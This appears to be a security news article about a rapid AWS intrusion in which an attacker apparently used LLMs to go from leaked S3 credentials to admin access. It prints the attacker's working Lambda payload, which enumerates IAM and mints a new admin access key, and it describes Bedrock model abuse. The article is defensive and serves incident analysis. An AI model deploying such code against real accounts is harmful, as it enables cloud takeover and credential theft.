AI-Powered Cloud Attack Reaches Full AWS Admin Access in Just Eight Minutes, Researchers Warn

CyberDefender 11 mins0

Researchers recently has published a detailing an extremely fast and sophisticated AWS compromise where the attacker went from initial access to full administrative privileges in under 10 minutes. The speed, breadth, and nature of this attack strongly suggests use of Large Language Models (LLMs) for automation and real-time decision-making throughout the kill chain.

1. Initial Access & Exploited Configuration Weaknesses

The intrusion began with credential theft from publicly exposed AWS S3 buckets. These buckets contained test IAM user credentials used by the organization’s AI/LLM-related workflows (e.g., RAG data). The naming of these buckets followed common AI tool conventions, and the threat actor actively exploited that predictable naming to locate exposed secrets.

Key facts:

  • Initial access was achieved with legitimate IAM access keys found in an exposed S3 bucket.
  • The compromised IAM user had policies including ReadOnlyAccess, as well as read/write access to AWS Lambda and restricted permissions on Amazon Bedrock (AWS’s managed LLM service).
  • Public S3 buckets were named using AI-related conventions, which facilitated automated discovery.

Mitigation note:
Storing long-lived IAM credentials in S3 buckets is a critical misconfiguration; organizations should prefer IAM roles with temporary credentials and rotate credentials frequently.

2. Automated Reconnaissance Across AWS Services

With the stolen credentials and ReadOnlyAccess, the attacker conducted extensive enumeration across multiple AWS services, gathering a detailed inventory of cloud assets:

S3
Secrets Manager
Systems Manager (SSM)
Lambda
EC2
Elastic Container Service (ECS)
Organizations
RDS
CloudWatch
KMS

The enumeration also probed AI-related resources such as Amazon Bedrock and its supporting services, including:

ListAgents
ListKnowledgeBases
GetKnowledgeBase
ListFoundationModels
GetModelInvocationLoggingConfiguration
ListInferenceProfiles
ListModelInvocationJobs

Additionally, OpenSearch Serverless and SageMaker APIs were called during the reconnaissance phase: ListCollections, ListAccessPolicies, ListModels, ListEndpoints, and ListTrainingJobs.

Threat pattern:
Massive cross-region enumeration by a single principal is a high-confidence indicator for automated AWS discovery tooling and deviation from normal behavior.

3. Privilege Escalation via Lambda Code Injection

After failed attempts to assume high-privilege IAM roles like sysadmin and netadmin, the adversary pivoted to using legitimate Lambda update permissions (UpdateFunctionCode and UpdateFunctionConfiguration) to escalate privileges.

They targeted an existing Lambda function named EC2-init, modifying its code repeatedly until successfully escalating privileges for user frick.

Here’s the final version of the malicious Lambda function that was deployed:

import boto3
import json

def lambda_handler(event, context):
    results = {}
    sts = boto3.client('sts')
    results['identity'] = sts.get_caller_identity()['Arn']
    iam = boto3.client('iam')
    try:
        users = iam.list_users()
        results['users'] = {}
        for user in users['Users']:
            try:
                keys = iam.list_access_keys(UserName=user['UserName'])
                policies = iam.list_attached_user_policies(UserName=user['UserName'])
                groups = iam.list_groups_for_user(UserName=user['UserName'])
                results['users'][user['UserName']] = {
                    'keys': len(keys['AccessKeyMetadata']),
                    'policies': [p['PolicyName'] for p in policies['AttachedPolicies']],
                    'groups': [g['GroupName'] for g in groups['Groups']]
                }
            except Exception as e:
                results['users'][user['UserName']] = str(e)
    except Exception as e:
        results['users_error'] = str(e)

    try:
        key = iam.create_access_key(UserName='frick')
        results['frick_new_key'] = {
            'AccessKeyId': key['AccessKey']['AccessKeyId'],
            'SecretAccessKey': key['AccessKey']['SecretAccessKey']
        }
    except Exception as e:
        results['frick_key_error'] = str(e)

    s3 = boto3.client('s3')
    try:
        buckets = s3.list_buckets()
        results['buckets'] = {}
        for bucket in buckets['Buckets'][:5]:
            try:
                objects = s3.list_objects_v2(Bucket=bucket['Name'], MaxKeys=3)
                results['buckets'][bucket['Name']] = [o['Key'] for o in objects.get('Contents', [])]
            except:
                results['buckets'][bucket['Name']] = 'access denied'
    except Exception as e:
        results['s3_error'] = str(e)

    return {'statusCode': 200, 'body': json.dumps(results, default=str)}

A few key observations:

  • The code lists IAM users, access keys, policies, and groups—mapping out identity scope.
  • It creates new access keys for the administrative user ‘frick’, effectively granting full admin access.
  • It also enumerates S3 bucket contents for later potential use.

Notably, comments in the code are in Serbian, and the script was completed within seconds, strongly suggesting LLM-assisted code generation.

4. Lateral Movement Across AWS Principals

Once admin credentials were obtained, the attacker attempted to assume numerous AWS IAM roles across multiple accounts. They tried roles like OrganizationAccountAccessRole, AdminRole, and various cross-account roles, including some with fabricated account IDs (123456789012, 210987654321)—a behavior consistent with AI hallucinations.

Overall, the adversary:

  • Successfully compromised five IAM users.
  • Conducted sessions under multiple session names reflecting intent (e.g., “explore”, “test”, “pwned”).
  • Used 19 unique AWS principals, including assumed roles and IAM users, to spread activity and hinder detection.

5. Data Access & Exfiltration Patterns

Using the admin user access, the threat actor collected sensitive data, including:

Secrets from Secrets Manager
SSM parameters
CloudWatch logs
Lambda function source code
Internal S3 objects
CloudTrail logs
IAM Access Analyzer findings

These resources reveal internal configurations and potential further attack paths.

6. LLMjacking via Amazon Bedrock Abuse

The attacker specifically enumerated and invoked multiple Bedrock AI models:

Claude Sonnet 4
Claude Opus 4
Claude 3.5 Sonnet
Claude 3 Haiku
DeepSeek R1
Llama 4 Scout
Amazon Nova Premier
Amazon Titan Image Generator
Cohere Embed v3

They used Marketplace APIs like GetListingView, SearchAgreements, and AcceptAgreementRequest when needed, and sometimes used cross-Region inference calls to increase throughput.

7. GPU Instance Provisioning and Abuse

Post escalation, the adversary staged for resource abuse by provisioning GPU-optimized EC2 instances for deep learning workloads:

  • They filtered machine images via DescribeImages using pattern *Deep Learning*Ubuntu*, discovering over 1,300 AMIs.
  • They created a key pair (stevan-gpu-key) and a permissive security group (open access).
  • Attempts to launch a p5.48xlarge (large GPU capacity) instance failed due to capacity constraints.
  • They successfully launched a p4d.24xlarge instance, capable of high-performance ML training, at substantial cost (~$23,600/month).

CloudTrail logs confirmed this provisioning via SharedSnapshotVolumeCreated events.

Key IOCs & Behavioral Patterns

IOC / IndicatorDetails
Exposed CredentialsIAM keys in public S3 buckets
AWS API EnumerationList*, Get*, Describe*, ListInferenceProfiles, etc.
Malicious LambdaPython code uploading new admin access keys
IAM Roles Targetedsysadmin, netadmin, OrganizationAccountAccessRole, AdminRole
Multi-Principal Usage19 unique AWS principals used
Bedrock ModelsInvocation of multiple LLM models
GPU AbuseProvisioned p4d.24xlarge GPU instance
AI PatternsSerbo-language comments + hallucinated AWS account IDs

Conclusion & Defender Guidance

This attack demonstrates how quickly modern attackers can leverage LLMs to compress what used to take hours or days into minutes, automating AWS reconnaissance, privilege escalation, code creation, and decision logic.

Defensive Takeaways

  • Never expose IAM credentials; prefer roles and short-term keys.
  • Monitor for anomalous cross-region resource enumeration.
  • Alerts on excessive API calls to Bedrock or unapproved model invocation.
  • Watch for unusual Lambda updates, especially with admin privileges.
  • Restrict GPU instance creation via Service Control Policies (SCPs).

This incident represents a watershed moment in cloud intrusion tactics, highlighting the need for runtime threat detection, attack behavior modeling, and AI-aware defense postures in modern cloud environments.

CyberDefender